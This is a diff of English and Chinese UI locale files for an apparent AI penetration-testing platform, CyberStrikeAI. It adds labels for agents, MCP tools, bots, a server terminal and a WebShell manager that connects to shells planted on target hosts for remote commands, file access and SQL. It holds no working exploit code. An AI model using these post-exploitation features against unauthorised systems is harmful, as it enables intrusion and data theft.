"copyFailedManual": "Copy failed, please select and copy manually",
"searching": "Searching...",
"loadFailedRetry": "Load failed, please retry",
"dataFormatError": "Data format error",
"progressInProgress": "Penetration test in progress...",
"executionFailed": "Execution failed",
"penetrationTestComplete": "Penetration test complete",
"yesterday": "Yesterday",
"agentModeSelectAria": "Choose single-agent or multi-agent",
"agentModePanelTitle": "Conversation mode",
"agentModeSingle": "Single-agent",
"agentModeMulti": "Multi-agent",
"agentModeSingleHint": "Single-model ReAct loop for chat and tool use",
"agentModeMultiHint": "Eino DeepAgent with sub-agents for complex tasks"
},
"progress": {
"callingAI": "Calling AI model...",
"callingTool": "Calling tool: {{name}}",
"lastIterSummary": "Last iteration: generating summary and next steps...",
"summaryDone": "Summary complete",
"generatingFinalReply": "Generating final reply...",
"maxIterSummary": "Max iterations reached, generating summary...",
"analyzingRequestShort": "Analyzing your request...",
"analyzingRequestPlanning": "Analyzing your request and planning test strategy...",
"startingEinoDeepAgent": "Starting Eino DeepAgent...",
"einoAgent": "Eino agent: {{name}}"
},
"timeline": {
"params": "Parameters:",
"executionResult": "Execution result:",
"executionId": "Execution ID:",
"noResult": "No result",
"running": "Running...",
"completed": "Completed",
"execFailed": "Execution failed"
},
"tasks": {
"title": "Task management",
"title": "Task Management",
"stopTask": "Stop task",
"collapseDetail": "Collapse details",
"newTask": "New task",
"autoRefresh": "Auto refresh",
"historyHint": "Tip: Completed task history available. Check \"Show history\" to view.",
@@ -153,6 +222,10 @@
"unknownTime": "Unknown time",
"clearHistoryConfirm": "Clear all task history?",
"cancelTaskFailed": "Cancel task failed",
"cancelFailed": "Cancel failed",
"taskInfoNotSynced": "Task info not synced yet, please try again later.",
"loadActiveTasksFailed": "Failed to load active tasks",
"cannotGetTaskStatus": "Cannot get task status",
"copiedToast": "Copied!",
"cancelling": "Cancelling...",
"enterTaskPrompt": "Enter at least one task",
@@ -265,12 +338,139 @@
"parseModalApplyRun": "Fill and query"
},
"vulnerability": {
"title": "Vulnerability management",
"title": "Vulnerability Management",
"addVuln": "Add vulnerability",
"editVuln": "Edit vulnerability",
"loadFailed": "Failed to load vulnerabilities",
"deleteConfirm": "Delete this vulnerability?"
},
"webshell": {
"title": "WebShell Management",
"addConnection": "Add connection",
"connections": "Connections",
"noConnections": "No connections. Click \"Add connection\" to add one.",
"selectOrAdd": "Select a connection from the list or add a new WebShell connection.",
"url": "Shell URL",
"urlPlaceholder": "http(s)://target.com/shell.php",
"password": "Password / Key",
"passwordPlaceholder": "e.g. IceSword/AntSword connection password",
"method": "Request method",
"methodPost": "POST",
"methodGet": "GET",
"type": "Shell type",
"typePhp": "PHP",
"typeAsp": "ASP",
"typeAspx": "ASPX",
"typeJsp": "JSP",
"typeCustom": "Custom",
"cmdParam": "Command parameter name",
"cmdParamPlaceholder": "Leave empty for cmd; e.g. xxx for xxx=command",
"remark": "Remark",
"remarkPlaceholder": "Friendly name for this connection",
"deleteConfirm": "Delete this connection?",
"editConnection": "Edit",
"editConnectionTitle": "Edit connection",
"tabTerminal": "Virtual terminal",
"tabFileManager": "File manager",
"tabAiAssistant": "AI Assistant",
"tabDbManager": "Database Manager",
"tabMemo": "Memo",
"dbType": "Database type",
"dbHost": "Host",
"dbPort": "Port",
"dbUsername": "Username",
"dbPassword": "Password",
"dbName": "Database name",
"dbSqlitePath": "SQLite file path",
"dbSqlPlaceholder": "Enter SQL, e.g. SELECT version();",
"dbRunSql": "Run SQL",
"dbTest": "Test connection",
"dbOutput": "Output",
"dbNoConn": "Please select a WebShell connection first",
"dbSqlRequired": "Please enter SQL",
"dbRunning": "Database command is running, please wait",
"dbCliHint": "If command not found appears, install mysql/psql/sqlite3/sqlcmd on the target host first",
"dbExecFailed": "Database execution failed",
"dbSchema": "Database Schema",
"dbLoadSchema": "Load Schema",
"dbNoSchema": "No schema yet, click Load Schema",
"dbSelectTableHint": "Click a table to expand columns and generate SQL",
"dbNoColumns": "No column details",
"dbResultTable": "Result Table",
"dbClearSql": "Clear SQL",
"dbTemplateSql": "SQL Template",
"dbRows": "rows",
"dbColumns": "columns",
"dbSchemaFailed": "Failed to load schema",
"dbAddProfile": "Add connection",
"dbRenameProfile": "Rename",
"dbDeleteProfile": "Delete connection",
"dbDeleteProfileConfirm": "Delete this database connection profile?",
"dbProfileNamePrompt": "Enter profile name",
"dbProfiles": "Database connections",
"aiSystemReadyMessage": "System is ready. Please enter your test requirements, and the system will automatically perform the corresponding security tests.",
"aiNewConversation": "New conversation",
"aiPreviousConversation": "Previous conversation",
"aiDeleteConversation": "Delete conversation",
"aiDeleteConversationConfirm": "Delete this conversation?",
"aiPlaceholder": "e.g. List files in the current directory",
"aiSend": "Send",
"aiMemo": "Memo",
"aiMemoPlaceholder": "Save key commands, testing ideas, and repro steps...",
"aiMemoClear": "Clear",
"aiMemoSaving": "Saving...",
"aiMemoSaved": "Saved locally",
"quickCommands": "Quick commands",
"downloadFile": "Download",
"terminalWelcome": "WebShell virtual terminal — type a command and press Enter (Ctrl+L clear)",
"filePath": "Current path",
"listDir": "List directory",
"readFile": "Read",
"editFile": "Edit",
"deleteFile": "Delete",
"saveFile": "Save",
"cancelEdit": "Cancel",
"parentDir": "Parent directory",
"execError": "Execution failed",
"testConnectivity": "Test connectivity",
"testSuccess": "Connection OK, shell is reachable",
"testFailed": "Connectivity test failed",
"testNoExpectedOutput": "Shell responded but expected output was not found. Check password and command parameter name.",
"clearScreen": "Clear",
"copyTerminalLog": "Copy log",
"terminalIdle": "Idle",
"terminalRunning": "Running",
"terminalCopyOk": "Log copied",
"terminalCopyFail": "Copy failed",
"terminalNewWindow": "New terminal",
"terminalWindowPrefix": "Terminal",
"running": "Running…",
"waitFinish": "Please wait for the current command to finish",
"newDir": "New directory",
"rename": "Rename",
"upload": "Upload",
"newFile": "New file",
"filterPlaceholder": "Filter by name",
"batchDelete": "Batch delete",
"batchDownload": "Batch download",
"refresh": "Refresh",
"selectAll": "Select all",
"searchPlaceholder": "Search connections...",
"noMatchConnections": "No matching connections",
"breadcrumbHome": "Root",
"back": "Back",
"moreActions": "More actions",
"batchProbe": "Batch probe",
"probeRunning": "Probing",
"probeOnline": "Online",
"probeOffline": "Offline",
"probeNoConnections": "No connections to probe",
"colModifiedAt": "Modified",
"colPerms": "Permissions",
"colOwner": "Owner",
"colGroup": "Group",
"colType": "Type"
},
"mcp": {
"monitorTitle": "MCP Status Monitor",
"execStats": "Execution stats",
@@ -340,6 +540,7 @@
"configStdioNeedCommand": "Config error: \"{{name}}\" stdio mode needs command",
"configHttpNeedUrl": "Config error: \"{{name}}\" http mode needs url",
"configSseNeedUrl": "Config error: \"{{name}}\" sse mode needs url",
"configEditMustContainName": "Config error: In edit mode, JSON must contain config name \"{{name}}\"",
"saveSuccess": "Saved",
"deleteSuccess": "Deleted",
"deleteExternalConfirm": "Delete external MCP \"{{name}}\"?",
@@ -349,30 +550,60 @@
"totalCount": "Total",
"enabledCount": "Enabled",
"disabledCount": "Disabled",
"connectedCount": "Connected"
"connectedCount": "Connected",
"toolsCountValue": "🔧 {{count}} tools",
"connectionErrorLabel": "Connection error:",
"secondsUnit": "s",
"urlLabel": "URL",
"loadExternalMCPFailed": "Load failed"
},
"settings": {
"title": "System settings",
"nav": {
"basic": "Basic",
"knowledge": "Knowledge base",
"robots": "Bots",
"terminal": "Terminal",
"security": "Security"
},
"knowledge": {
"title": "Knowledge base"
},
"robots": {
"title": "Bot settings",
"description": "Configure WeCom, DingTalk and Lark bots so you can chat with CyberStrikeAI on your phone without opening the web UI.",
"wecom": {
"title": "WeCom",
"enabled": "Enable WeCom bot"
"enabled": "Enable WeCom bot",
"token": "Token",
"tokenPlaceholder": "Token",
"encodingAesKey": "EncodingAESKey",
"encodingAesKeyPlaceholder": "EncodingAESKey (leave empty for plain mode)",
"corpId": "CorpID",
"corpIdPlaceholder": "Corp ID",
"secret": "Secret",
"secretPlaceholder": "App Secret",
"agentId": "AgentID",
"agentIdPlaceholder": "App AgentId"
},
"dingtalk": {
"title": "DingTalk",
"enabled": "Enable DingTalk bot"
"enabled": "Enable DingTalk bot",
"clientIdLabel": "Client ID (AppKey)",
"clientIdPlaceholder": "DingTalk App Key",
"clientSecretLabel": "Client Secret",
"clientSecretPlaceholder": "DingTalk App Secret",
"streamHint": "Enable bot capability and configure streaming access in the open platform."
},
"lark": {
"title": "Lark",
"enabled": "Enable Lark bot"
"enabled": "Enable Lark bot",
"appIdLabel": "App ID",
"appIdPlaceholder": "Lark/Feishu App ID",
"appSecretLabel": "App Secret",
"appSecretPlaceholder": "Lark/Feishu App Secret",
"verifyTokenLabel": "Verify Token (Optional)",
"verifyTokenPlaceholder": "Event subscription Verification Token"
}
},
"apply": {
@@ -398,7 +629,7 @@
"loggedOut": "Signed out"
},
"knowledge": {
"title": "Knowledge management",
"title": "Knowledge Management",
"retrievalLogs": "Retrieval history",
"totalItems": "Total items",
"categories": "Categories",
@@ -411,13 +642,21 @@
"goToSettings": "Go to settings"
},
"roles": {
"title": "Role management",
"title": "Role Management",
"createRole": "Create role",
"searchPlaceholder": "Search roles...",
"deleteConfirm": "Delete this role?"
"deleteConfirm": "Delete this role?",
"loadFailed": "Failed to load roles",
"noDescription": "No description",
"defaultRoleDescription": "Default role, no extra user prompt, uses default MCP",
"noMatchingRoles": "No matching roles",
"noRoles": "No roles",
"enabled": "Enabled",
"disabled": "Disabled",
"noDescriptionShort": "No description"
},
"skills": {
"title": "Skills management",
"title": "Skills Management",
"monitorTitle": "Skills monitor",
"createSkill": "Create Skill",
"callStats": "Call stats",
@@ -436,10 +675,246 @@
"loadStatsFailed": "Failed to load skills monitor data",
"clearStatsConfirm": "Clear all Skills statistics? This cannot be undone.",
"statsCleared": "Skills statistics cleared",
"clearStatsFailed": "Failed to clear statistics"
"clearStatsFailed": "Failed to clear statistics",
"noDescription": "No description",
"viewSkillTitle": "View Skill: {{name}}",
"descriptionLabel": "Description:",
"pathLabel": "Path:",
"modTimeLabel": "Modified:",
"contentLabel": "Content:",
"nameRequired": "Skill name is required",
"contentRequired": "Skill content is required",
"nameInvalid": "Skill name can only contain letters, numbers, hyphens and underscores",
"saveSuccess": "Skill updated",
"createdSuccess": "Skill created",
"deleteConfirm": "Are you sure you want to delete skill \"{{name}}\"? This cannot be undone.",
"deleteConfirmWithRoles": "Are you sure you want to delete skill \"{{name}}\"?\n\n⚠️ This skill is currently bound to {{count}} role(s):\n{{roles}}\n\nAfter deletion, the system will automatically remove this skill from those roles.\n\nThis cannot be undone. Continue?",
"deleteSuccess": "Skill deleted",
"deleteSuccessWithRoles": "Skill deleted and automatically removed from {{count}} role(s): {{roles}}",
"loadFailedShort": "Load failed",
"totalSkillsCount": "Total Skills",
"totalCallsCount": "Total Call Count",
"successfulCalls": "Successful Calls",
"failedCalls": "Failed Calls",
"successRate": "Success Rate",
"skillName": "Skill Name",
"totalCalls": "Total Calls",
"success": "Success",
"failure": "Failure",
"lastCallTime": "Last Call Time",
"noCallRecords": "No Skills call records yet",
"loadStatsErrorShort": "Failed to load statistics",
"loadCallStatsError": "Failed to load call statistics"
},
"apiDocs": {
"curlCopied": "curl command copied to clipboard!"
"pageTitle": "API Docs - CyberStrikeAI",
"title": "API Docs",
"subtitle": "CyberStrikeAI platform API documentation with online testing",
"authTitle": "API Authentication",
"authAllNeedToken": "All API endpoints require Token authentication.",
"authGetToken": "1. Get Token:",
"authGetTokenDesc": "After logging in on the frontend, the Token is saved automatically. You can also get it via:",
"authUseToken": "2. Use Token:",
"authUseTokenDesc": "Add the Authorization header:",
"authTip": "💡 This page will use your logged-in Token automatically; no need to fill it manually.",
"tokenDetected": "✓ Token detected - You can test API endpoints directly",
"tokenNotDetected": "⚠ No Token detected - Please log in on the frontend first, then refresh this page. When testing, add Authorization: Bearer token in the request header",
"sidebarGroupTitle": "API Groups",
"allApis": "All APIs",
"loading": "Loading...",
"loadingDesc": "Loading API documentation",
"errorLoginRequired": "Login required to view API docs. Please log in on the frontend first, then refresh this page.",
"errorLoadSpec": "Failed to load API spec: ",
"errorLoadFailed": "Failed to load API docs: ",
"errorSpecInvalid": "Invalid API spec format",
"loadFailed": "Load failed",
"backToLogin": "Back to login",
"noApis": "No APIs",
"noEndpointsInGroup": "No API endpoints in this group",
"sectionDescription": "Description",
"viewDetailDesc": "View details",
"hideDetailDesc": "Hide details",
"noDescription": "No description",
"sectionParams": "Parameters",
"paramName": "Parameter",
"type": "Type",
"description": "Description",
"required": "Required",
"optional": "Optional",
"sectionRequestBody": "Request body",
"example": "Example",
"exampleJson": "Example JSON:",
"sectionResponse": "Response",
"testSection": "Test",
"requestBodyJson": "Request body (JSON)",
"queryParams": "Query parameters:",
"sendRequest": "Send request",
"copyCurl": "Copy cURL",
"clearResult": "Clear result",
"copyCurlTitle": "Copy cURL command",
"clearResultTitle": "Clear test result",
"sendingRequest": "Sending request...",
"errorPathParamRequired": "Path parameter {{name}} is required",
"errorQueryParamRequired": "Query parameter {{name}} is required",
"errorTokenRequired": "No Token detected. Please log in on the frontend and refresh, or add Authorization: Bearer your_token in the request header",
"errorJsonInvalid": "Invalid request body JSON: ",
"requestFailed": "Request failed: ",
"copied": "Copied",
"curlCopied": "curl command copied to clipboard!",
"copyFailedManual": "Copy failed, please copy manually:\n\n",
"curlGenFailed": "Failed to generate cURL command: ",
"requestBodyPlaceholder": "Enter request body in JSON format",
"tags": {
"auth": "Authentication",
"conversationManagement": "Conversation Management",
"conversationInteraction": "Conversation Interaction",
"batchTasks": "Batch Tasks",
"conversationGroups": "Conversation Groups",
"vulnerabilityManagement": "Vulnerability Management",
"roleManagement": "Role Management",
"skillsManagement": "Skills Management",
"monitoring": "Monitoring",
"configManagement": "Configuration Management",
"externalMCPManagement": "External MCP Management",
"attackChain": "Attack Chain",
"knowledgeBase": "Knowledge Base",
"mcp": "MCP"
},
"summary": {
"login": "User login",
"logout": "User logout",
"changePassword": "Change password",
"validateToken": "Validate Token",
"createConversation": "Create conversation",
"listConversations": "List conversations",
"getConversationDetail": "Get conversation detail",
"updateConversation": "Update conversation",
"deleteConversation": "Delete conversation",
"getConversationResult": "Get conversation result",
"sendMessageNonStream": "Send message and get AI reply (non-stream)",
"sendMessageStream": "Send message and get AI reply (stream)",
"cancelTask": "Cancel task",
"listRunningTasks": "List running tasks",
"listCompletedTasks": "List completed tasks",
"createBatchQueue": "Create batch task queue",
"listBatchQueues": "List batch task queues",
"getBatchQueue": "Get batch task queue",
"deleteBatchQueue": "Delete batch task queue",
"startBatchQueue": "Start batch task queue",
"pauseBatchQueue": "Pause batch task queue",
"addTaskToQueue": "Add task to queue",
"sqlInjectionScan": "SQL injection scan",
"portScan": "Port scan",
"updateBatchTask": "Update batch task",
"deleteBatchTask": "Delete batch task",
"createGroup": "Create group",
"listGroups": "List groups",
"getGroup": "Get group",
"updateGroup": "Update group",
"deleteGroup": "Delete group",
"getGroupConversations": "Get conversations in group",
"addConversationToGroup": "Add conversation to group",
"removeConversationFromGroup": "Remove conversation from group",
"listVulnerabilities": "List vulnerabilities",
"createVulnerability": "Create vulnerability",
"getVulnerabilityStats": "Get vulnerability statistics",
"getVulnerability": "Get vulnerability",
"updateVulnerability": "Update vulnerability",
"deleteVulnerability": "Delete vulnerability",
"listRoles": "List roles",
"createRole": "Create role",
"getRole": "Get role",
"updateRole": "Update role",
"deleteRole": "Delete role",
"getAvailableSkills": "Get available Skills list",
"listSkills": "List Skills",
"createSkill": "Create Skill",
"getSkillStats": "Get Skill statistics",
"clearSkillStats": "Clear Skill statistics",
"getSkill": "Get Skill",
"updateSkill": "Update Skill",
"deleteSkill": "Delete Skill",
"getBoundRoles": "Get bound roles",
"clearSkillStatsAlt": "Clear Skill statistics",
"getMonitorInfo": "Get monitoring info",
"getExecutionRecords": "Get execution records",
"deleteExecutionRecord": "Delete execution record",
"batchDeleteExecutionRecords": "Batch delete execution records",
"getStats": "Get statistics",
"getConfig": "Get configuration",
"updateConfig": "Update configuration",
"getToolConfig": "Get tool configuration",
"applyConfig": "Apply configuration",
"listExternalMCP": "List external MCP",
"getExternalMCPStats": "Get external MCP statistics",
"getExternalMCP": "Get external MCP",
"addOrUpdateExternalMCP": "Add or update external MCP",
"stdioModeConfig": "stdio mode config",
"sseModeConfig": "SSE mode config",
"deleteExternalMCP": "Delete external MCP",
"startExternalMCP": "Start external MCP",
"stopExternalMCP": "Stop external MCP",
"getAttackChain": "Get attack chain",
"regenerateAttackChain": "Regenerate attack chain",
"pinConversation": "Pin conversation",
"pinGroup": "Pin group",
"pinGroupConversation": "Pin conversation in group",
"getCategories": "Get categories",
"listKnowledgeItems": "List knowledge items",
"createKnowledgeItem": "Create knowledge item",
"getKnowledgeItem": "Get knowledge item",
"updateKnowledgeItem": "Update knowledge item",
"deleteKnowledgeItem": "Delete knowledge item",
"getIndexStatus": "Get index status",
"rebuildIndex": "Rebuild index",
"scanKnowledgeBase": "Scan knowledge base",
"searchKnowledgeBase": "Search knowledge base",
"basicSearch": "Basic search",
"searchByRiskType": "Search by risk type",
"getRetrievalLogs": "Get retrieval logs",
"deleteRetrievalLog": "Delete retrieval log",
"mcpEndpoint": "MCP endpoint",
"listAllTools": "List all tools",
"invokeTool": "Invoke tool",
"initConnection": "Initialize connection",
"successResponse": "Success response",
"errorResponse": "Error response"
},
"response": {
"getSuccess": "Success",
"unauthorized": "Unauthorized",
"unauthorizedToken": "Unauthorized, valid Token required",
"createSuccess": "Created successfully",
"badRequest": "Bad request",
"conversationNotFound": "Conversation not found",
"conversationOrResultNotFound": "Conversation or result not found",
"badRequestTaskEmpty": "Bad request (e.g. task is empty)",
"badRequestGroupNameExists": "Bad request or group name already exists",
"groupNotFound": "Group not found",
"badRequestConfig": "Bad request (e.g. invalid config or missing required fields)",
"badRequestQueryEmpty": "Bad request (e.g. query is empty)",
"methodNotAllowed": "Method not allowed (POST only)",
"loginSuccess": "Login successful",
"invalidPassword": "Invalid password",
"logoutSuccess": "Logout successful",
"passwordChanged": "Password changed successfully",
"tokenValid": "Token valid",
"tokenInvalid": "Token invalid or expired",
"conversationCreated": "Conversation created",
"internalError": "Internal server error",
"updateSuccess": "Updated successfully",
"deleteSuccess": "Deleted successfully",
"queueNotFound": "Queue not found",
"startSuccess": "Started successfully",
"pauseSuccess": "Paused successfully",
"addSuccess": "Added successfully",
"taskNotFound": "Task not found",
"conversationOrGroupNotFound": "Conversation or group not found",
"cancelSubmitted": "Cancel request submitted",
"noRunningTask": "No running task found",
"messageSent": "Message sent, AI reply returned",
"streamResponse": "Stream response (Server-Sent Events)"
}
},
"chatGroup": {
"search": "Search",
@@ -580,6 +1055,15 @@
"presetLogin": "Login page + China",
"presetDomain": "By domain",
"presetIp": "By IP",
"queryPresetsAria": "FOFA query presets",
"fieldsPresetsAria": "FOFA field presets",
"resultsToolbarAria": "Results toolbar",
"fillExample": "Fill example",
"parseBtnTitle": "Parse natural language to FOFA query",
"minFieldsTitle": "For quick export",
"webCommonTitle": "For browsing and filtering",
"intelEnhancedTitle": "More fingerprint/intel",
"fullLabel": "full",
"nlPlaceholder": "e.g. Apache sites in Missouri, US, title contains Home",
"showHideColumns": "Show/hide columns",
"exportCsvTitle": "Export results as CSV (UTF-8)",
@@ -587,6 +1071,67 @@
"exportXlsxTitle": "Export results as Excel",
"batchScanTitle": "Create batch task queue from selected rows"
},
"chatFilesPage": {
"title": "File Management",
"intro": "Files uploaded in chat appear here. Click “Copy path” to copy the server absolute path and paste it into a conversation so the model can reference the file.",
"upload": "Upload",
"conversationFilter": "Conversation ID",
"conversationPlaceholder": "Leave empty for all",
"searchName": "File name",
"searchNamePlaceholder": "Filter by file name",
"groupBy": "Group by",
"groupNone": "None (flat list)",
"groupByDate": "By date",
"groupByConversation": "By conversation",
"groupByFolder": "By folder (path navigation)",
"browseRoot": "chat_uploads",
"browseUp": "Up",
"enterFolderTitle": "Open folder",
"copyFolderPathTitle": "Copy relative path under chat_uploads/…",
"folderPathCopied": "Folder path copied — paste into chat if needed",
"folderEmpty": "This folder is empty",
"confirmDeleteFolder": "Delete this folder and everything inside it? This cannot be undone.",
"deleteFolderTitle": "Delete folder",
"uploadToFolderTitle": "Upload file into this folder",
"newFolderButton": "New folder",
"newFolderTitle": "New folder",
"newFolderLocation": "Location",
"newFolderNameLabel": "Folder name",
"newFolderNamePlaceholder": "Name only, no slashes",
"mkdirOk": "Folder created",
"mkdirExists": "A file or folder with that name already exists",
"mkdirInvalidName": "Invalid name: cannot be empty or contain /, \\, or use . or ..",
"colSubPath": "Subfolder",
"folderRoot": "(root)",
"groupCount": "{{count}} files",
"convManual": "Manual upload",
"convNew": "New chat",
"colDate": "Date",
"colConversation": "Conversation",
"colName": "Name",
"colSize": "Size",
"colModified": "Modified",
"colActions": "Actions",
"copyPath": "Copy path",
"copyPathTitle": "Copy the absolute path on the server; paste into chat to reference this file",
"pathCopied": "Path copied — paste it into chat",
"uploadOkHint": "Uploaded. Use “Copy path” to copy the absolute path.",
"moreActions": "More: open chat, edit, rename, delete",
"download": "Download",
"edit": "Edit",
"rename": "Rename",
"openChat": "Open chat",
"confirmDelete": "Delete this file?",
"editTitle": "Edit file",
"renameTitle": "Rename",
"newFileName": "New file name",
"empty": "No chat uploads yet",
"errorLoad": "Failed to load",
"editBinaryHint": "Binary files (images, archives, etc.) cannot be edited as text here. Use Download and open locally.",
"editUnavailable": "N/A",
"editTooLarge": "File exceeds 2MB and cannot be edited here. Download and edit locally.",
"errorGeneric": "Something went wrong. Please try again."
},
"vulnerabilityPage": {
"statTotal": "Total",
"filter": "Filter",
@@ -617,7 +1162,54 @@
"clearStatsTitle": "Clear all statistics",
"skillsCallStats": "Skills call stats",
"searchPlaceholder": "Search Skills...",
"loading": "Loading..."
"loading": "Loading...",
"paginationShow": "Show {{start}}-{{end}} of {{total}}",
"perPageLabel": "Per page",
"firstPage": "First",
"prevPage": "Previous",
"pageOf": "Page {{current}} / {{total}}",
"nextPage": "Next",
"lastPage": "Last"
},
"agentsPage": {
"title": "Agent management",
"create": "New agent",
"hint": "Agents are .md files under agents_dir (front matter + body as system prompt). The orchestrator is the Deep coordinator and is not listed as a task sub-agent.",
"dirLabel": "Directory",
"loading": "Loading...",
"empty": "No Markdown sub-agents yet. Click New agent to create one.",
"noDesc": "No description",
"loadFailed": "Failed to load list",
"loadOneFailed": "Failed to load agent",
"createTitle": "New agent",
"editTitle": "Edit agent",
"filename": "File name (.md)",
"filenamePlaceholder": "e.g. code-reviewer.md",
"fieldRole": "Type",
"roleSub": "Sub-agent",
"roleOrchestrator": "Orchestrator (Deep)",
"roleHint": "You can also use the fixed file name orchestrator.md. Only one orchestrator per directory. If the orchestrator body is empty, config orchestrator_instruction and Eino defaults apply.",
"badgeOrchestrator": "Orchestrator",
"badgeSub": "Sub-agent",
"filenameInvalid": "File name must end with .md and use only letters, digits, ._-",
"fieldId": "Agent id (optional; derived from name if empty)",
"fieldName": "Display name",
"namePlaceholder": "Code Reviewer",
"fieldDesc": "Description",
"descPlaceholder": "When the orchestrator should delegate to this agent",
"fieldTools": "Tools (comma-separated; same keys as role tools)",
"fieldBindRole": "Bind role (optional)",
"fieldMaxIter": "Max sub-agent iterations (0 = use global default)",
"fieldInstruction": "System prompt (Markdown body)",
"instructionPlaceholder": "You are a specialist agent...",
"nameRequired": "Display name is required",
"instructionRequired": "System prompt body is required",
"saveOk": "Saved",
"createOk": "Created",
"saveFailed": "Save failed",
"deleteConfirm": "Delete {{name}}?",
"deleteOk": "Deleted",
"deleteFailed": "Delete failed"
},
"settingsBasic": {
"basicTitle": "Basic settings",
@@ -686,8 +1278,15 @@
"title": "Terminal",
"description": "Run commands on the server for ops and debugging. Commands run on the server; avoid sensitive or destructive operations.",
"terminalTab": "Terminal {{n}}",
"close": "Close",
"newTerminal": "New terminal"
"welcomeLine": "CyberStrikeAI Terminal — real shell session; type commands directly. Ctrl+L to clear screen",
"sessionClosed": "[Session closed]",
"connectionError": "[Terminal connection error]",
"connectFailed": "[Cannot connect to terminal service: {{msg}}]",
"closeTabTitle": "Close",
"containerClickTitle": "Click here, then type commands",
"xtermNotLoaded": "xterm.js failed to load. Refresh the page or check your network.",
"close": "×",
"newTerminal": "+"
},
"settingsSecurity": {
"changePasswordTitle": "Change password",
@@ -702,14 +1301,33 @@
"changePasswordBtn": "Change password"
},
"settingsRobotsExtra": {
"botCommandsTitle": "Bot commands",
"botCommandsDesc": "You can send these commands in chat (Chinese and English supported):"
"botCommandsTitle": "Bot command instructions",
"botCommandsDesc": "You can send the following commands in chat (Chinese and English supported):",
"botCmdHelp": "Show this help",
"botCmdList": "List conversations",
"botCmdSwitch": "Switch to conversation",
"botCmdNew": "Start new conversation",
"botCmdClear": "Clear context",
"botCmdCurrent": "Show current conversation",
"botCmdStop": "Stop running task",
"botCmdRoles": "List roles",
"botCmdRole": "Switch role",
"botCmdDelete": "Delete conversation",
"botCmdVersion": "Show version",
"botCommandsFooter": "Otherwise, send any text for AI penetration testing / security analysis."
},
"mcpDetailModal": {
"title": "Tool call details",
"execInfo": "Execution info",
"tool": "Tool",
"status": "Status",
"statusPending": "Pending",
"statusRunning": "Running",
"statusCompleted": "Completed",
"statusFailed": "Failed",
"unknown": "Unknown",
"getDetailFailed": "Failed to get details",
"execSuccessNoContent": "Execution succeeded with no displayable content.",
"time": "Time",
"executionId": "Execution ID",
"requestParams": "Request params",
@@ -752,6 +1370,15 @@
"configJson": "Config JSON",
"formatLabel": "Format:",
"formatDesc": "JSON object; key = config name, value = config. Use Start/Stop buttons to control state.",
"configExample": "Configuration example:",
"stdioMode": "stdio mode:",
"httpMode": "HTTP mode:",
"sseMode": "SSE mode:",
"placeholder": "{\n \"hexstrike-ai\": {\n \"command\": \"python3\",\n \"args\": [\"/path/to/script.py\"],\n \"description\": \"Description\",\n \"timeout\": 300\n }\n}",
"exampleStdio": "{\n \"hexstrike-ai\": {\n \"command\": \"python3\",\n \"args\": [\"/path/to/script.py\", \"--server\", \"http://example.com\"],\n \"description\": \"Description\",\n \"timeout\": 300\n }\n}",
"exampleHttp": "{\n \"cyberstrike-ai-http\": {\n \"transport\": \"http\",\n \"url\": \"http://127.0.0.1:8081/mcp\"\n }\n}",
"exampleSse": "{\n \"cyberstrike-ai-sse\": {\n \"transport\": \"sse\",\n \"url\": \"http://127.0.0.1:8081/mcp/sse\"\n }\n}",
"exampleDescription": "Example description",
"formatJson": "Format JSON",
"loadExample": "Load example"
},
@@ -765,7 +1392,7 @@
"descriptionPlaceholder": "Short description",
"contentLabel": "Content (Markdown)",
"contentPlaceholder": "Enter skill content in Markdown...",
"contentHint": "YAML front matter supported (optional)"
"contentHint": "YAML front matter supported (optional), e.g.:"
},
"knowledgeItemModal": {
"addKnowledge": "Add knowledge",
@@ -912,14 +1539,41 @@
"userPromptHint": "This prompt is appended before user message to guide AI. It does not change system prompt.",
"relatedTools": "Related tools (optional)",
"defaultRoleToolsTitle": "Default role uses all tools",
"defaultRoleToolsDesc": "Default role uses all tools enabled in MCP management.",
"defaultRoleToolsDesc": "Default role uses all tools enabled in MCP Management.",
"searchToolsPlaceholder": "Search tools...",
"loadingTools": "Loading tools...",
"relatedToolsHint": "Select tools to link; empty = use all from MCP management.",
"relatedToolsHint": "Select tools to link; empty = use all from MCP Management.",
"relatedSkills": "Related Skills (optional)",
"searchSkillsPlaceholder": "Search skill...",
"loadingSkills": "Loading skills...",
"relatedSkillsHint": "Selected skills are injected into system prompt before task execution.",
"enableRole": "Enable this role"
"enableRole": "Enable this role",
"selectAll": "Select All",
"deselectAll": "Deselect All",
"roleNameRequired": "Role name is required",
"roleNotFound": "Role not found",
"firstRoleNoToolsHint": "First role with no tools selected will use all tools by default.",
"currentPageSelected": "Current page: {{current}} / {{total}}",
"totalSelected": "Total selected: {{current}} / {{total}}",
"usingAllEnabledTools": "(Using all enabled tools)",
"currentPageSelectedTitle": "Selected on current page (enabled tools only)",
"totalSelectedTitle": "Total tools linked to this role",
"skillsSelectedCount": "Selected {{count}} / {{total}}",
"loadToolsFailed": "Failed to load tools",
"loadSkillsFailed": "Failed to load skills",
"cannotDeleteDefaultRole": "Cannot delete default role",
"noMatchingSkills": "No matching skills",
"noSkillsAvailable": "No skills available",
"usingAllTools": "Use all tools",
"andNMore": " and {{count}} more",
"toolsLabel": "Tools:",
"noTools": "No tools",
"paginationShow": "{{start}}-{{end}} of {{total}} tools",
"paginationSearch": " (search: \"{{keyword}}\")",
"firstPage": "First",
"prevPage": "Previous",
"pageOf": "Page {{page}} / {{total}}",
"nextPage": "Next",
"lastPage": "Last"
}
}
+669 -15
View File
@@ -1,4 +1,8 @@
{
"lang": {
"zhCN": "中文",
"enUS": "English"
},
"common": {
"ok": "确定",
"cancel": "取消",
@@ -14,11 +18,14 @@
"confirm": "确认",
"copy": "复制",
"copied": "已复制",
"copyFailed": "复制失败"
"copyFailed": "复制失败",
"view": "查看",
"actions": "操作"
},
"header": {
"title": "CyberStrikeAI",
"apiDocs": "API 文档",
"github": "GitHub",
"logout": "退出登录",
"language": "界面语言",
"backToDashboard": "返回仪表盘",
@@ -39,6 +46,8 @@
"infoCollect": "信息收集",
"tasks": "任务管理",
"vulnerabilities": "漏洞管理",
"webshell": "WebShell管理",
"chatFiles": "文件管理",
"mcp": "MCP",
"mcpMonitor": "MCP状态监控",
"mcpManagement": "MCP管理",
@@ -48,6 +57,8 @@
"skills": "Skills",
"skillsMonitor": "Skills状态监控",
"skillsManagement": "Skills管理",
"agents": "Agents",
"agentsManagement": "Agent管理",
"roles": "角色",
"rolesManagement": "角色管理",
"settings": "系统设置"
@@ -99,6 +110,7 @@
},
"chat": {
"newChat": "新对话",
"toggleConversationPanel": "折叠/展开对话列表",
"searchHistory": "搜索历史记录...",
